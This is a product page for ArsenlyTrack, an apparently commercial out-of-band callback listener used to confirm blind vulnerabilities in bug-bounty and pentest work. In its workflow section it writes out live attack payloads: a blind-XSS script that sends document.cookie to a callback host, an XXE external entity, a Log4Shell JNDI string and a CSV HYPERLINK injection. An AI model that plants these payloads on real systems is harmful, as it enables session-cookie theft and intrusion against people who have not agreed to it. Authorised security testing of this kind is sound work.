Arsenly
Tools
Free Tools
Pricing
Resources
Sign in Get started
← All tools

ArsenlyTrack - OOB Interaction

Exploitation & OOB

Passive OOB-interaction listener - Burp-Collaborator-style canary tokens for SSRF, blind XSS, XXE, Log4Shell & email-pixel testing. Plant a URL, see every hit in real time.

What is ArsenlyTrack - OOB Interaction?

ArsenlyTrack is your in-house Burp-Collaborator / Interactsh / Canary-Tokens server - the missing piece for any bug-bounty / pentest workflow that relies on out-of-band interaction to confirm blind vulnerabilities.

You generate a unique 16-char canary URL like https://arsenly.com/c/k7p2x9f1a3z5q8m4, plant it in your target during testing - in an SSRF parameter, a stored-XSS field, an XXE entity, a Log4j header, a CSV cell, an email pixel - and the moment the target’s back-end or a victim’s browser resolves that URL, the request lands here with full method, URL path, headers, body, source IP, User-Agent and timestamp. Real-time updates every 3 seconds.

Passive by design. The server only LISTENS - it never connects out to anything you supplied. That keeps the tool fully compliant with shared-hosting AUP (we never scan your targets server-side).

12 copy-ready payload templates auto-filled with your token: SSRF basic / IP-decimal bypass, blind XSS (fetch · img · onerror variants), XXE OOB, Log4Shell HTTP fallback, CSV injection (=HYPERLINK), email tracking pixel, open-redirect destination, standalone SVG XSS bait.

Configurable response per canary - empty 200, transparent 1×1 GIF (for image SSRF / blind-XSS <img>), JavaScript (for <script src=...>), JSON (with custom body), or 302 redirect. CORS-open toggle for fetch-based exfil from victim browsers. Marker paths (/c/{token}/login-form-sqli) so you know which test fired.

Per-hit detail view: full request headers, body, source IP, User-Agent + reproduction as cURL or raw HTTP - paste straight into your write-up.

What it does

  • Generate unique canary URLs - 16-char alphanumeric tokens, ~83 bits of entropy, unguessable.
  • Catches every HTTP method - GET, POST, PUT, PATCH, DELETE, OPTIONS, HEAD. All logged with full headers + body (32 KB cap) + IP + UA.
  • Real-time hit feed - polls every 3 s while the tab is open. New hits pulse-highlight in the sidebar and feed.
  • 12 ready-to-paste payload templates - SSRF · IPv4-decimal SSRF · blind XSS (3 variants) · XXE OOB · Log4Shell · CSV injection · email pixel · open-redirect target · SVG-XSS bait. Each auto-filled with your token.
  • Marker paths - append /whatever-marker to your bait URL; it shows up in the hits feed so you know which test fired (e.g. /c/abc.../login-sqli vs /c/abc.../search-blind-xss).
  • Configurable response - empty 200 · 1×1 transparent GIF · JS (void 0) · custom JSON · 302 redirect. Plus a custom status code (200/404/500/...).
  • CORS open toggle - emit Access-Control-Allow-Origin: * so victim-browser fetch() exfil works without preflight blocks.
  • Hit detail modal - full request headers table, raw body, reproduction as cURL or raw HTTP, click-to-copy.
  • Method colour-coding in the hits feed - GET / POST / PUT / DELETE / PATCH at a glance.
  • Auto-cleanup - old hits purged after 30 days. Per-canary hit cap of 1000 (prevents log flooding from runaway scanners). Up to 50 canaries per account.
  • Live / paused toggle - pause polling if you’re reviewing old hits without wanting them to scroll away.
  • Per-canary enable/disable - flip a canary off (returns 404) without deleting it. Useful when you ship a payload and want to silence its noise.

Where it fits in your workflow

  • SSRF confirmation - paste your canary URL into any field that might fetch URLs server-side (URL imports, webhook configs, profile-photo loaders, RSS/OPML importers, PDF/HTML renderers). If your server fetches it, you see the IP that fetched (revealing the back-end network) - that’s your PoC.
  • Blind XSS - stash <script>fetch('https://arsenly.com/c/{tok}/bxss?c='+document.cookie)</script> in a stored field (admin name, support ticket, log message). When an internal admin views it, you receive their session cookie + URL + IP. Tag with a marker to know which form fired.
  • XXE OOB - for XML parsers that don’t reflect entity output, use <!ENTITY x SYSTEM "https://arsenly.com/c/{tok}/xxe">. The parser’s outbound fetch confirms XXE.
  • Log4Shell - many Log4j scanners support HTTP fallback alongside LDAP/RMI. Drop ${jndi:ldap://arsenly.com/c/{tok}/log4j} into User-Agent, X-Forwarded-For, Referer.
  • Email tracking pixel - embed a 1×1 GIF canary URL in a phishing-PoC email or a password-reset email under test, to log when (and from which IP) the recipient opens it.
  • CSV injection - drop =HYPERLINK("https://arsenly.com/c/{tok}/csv","CLICK ME") into a field that gets exported to .xlsx/.csv. Fires when the victim opens the file in Excel.
  • Webhook / integration testing - use the canary as a generic webhook target to debug what an integration sends.
Use ArsenlyTrack - OOB Interaction

Run it from your dashboard.

Create free account Sign in Use via API

At a glance

CategoryExploitation & OOB
RunsServer-side
Token cost 10 / run (free tier)
Access Pro
Status● Live

Frequently asked questions

Is using this URL on someone else&rsquo;s site allowed?

You must have permission to test the target (bug-bounty programme scope, written authorisation, or your own systems). Receiving a callback is passive on our side - the issue is whether you were allowed to plant the URL where it triggered. You are responsible for staying inside the engagement’s rules.

How is this different from Burp Collaborator / Interactsh?

Same core concept - passive listener for OOB interactions. We only cover HTTP/HTTPS (not DNS or SMTP) because shared hosting can’t bind to port 53 or 25. For HTTP-only checks (most SSRF, blind XSS, XXE, Log4j HTTP fallback), this is functionally equivalent and lives inside your account - no separate tool to install. For DNS-only OOB (some XXE / SSRF variants), Interactsh is still the right tool.

What gets stored from each hit?

HTTP method, the full URL path including any marker, query string (up to 2 KB), all request headers as JSON (up to 8 KB total), request body (up to 32 KB), source IP, User-Agent, Referer, protocol version, TLS yes/no, timestamp. Tied to your account - visible only to you. Auto-deleted after 30 days.

How long do canary URLs stay active?

Indefinitely while the canary exists. You can disable a canary (returns 404 to new hits) or delete it (cascades all its hits). 50 canaries per account - reuse them across engagements with descriptive labels.

Is there a hit cap?

Yes - 1000 hits per canary, after which new hits get the configured response but aren’t logged. Prevents a runaway scanner flooding your account. Click Clear hits to reset the counter.

Does the server actively scan or connect to anything I put in the URL?

No. The server only RECEIVES inbound requests. Nothing in the marker path or query string causes outbound connections. This is critical for staying compliant with our shared-hosting provider’s AUP.

Can I forward hits to my Discord / Slack?

Not yet in v1 - webhook forwarding is on the roadmap. For now, keep the tab open with notifications enabled or check in periodically.

Explore more tools →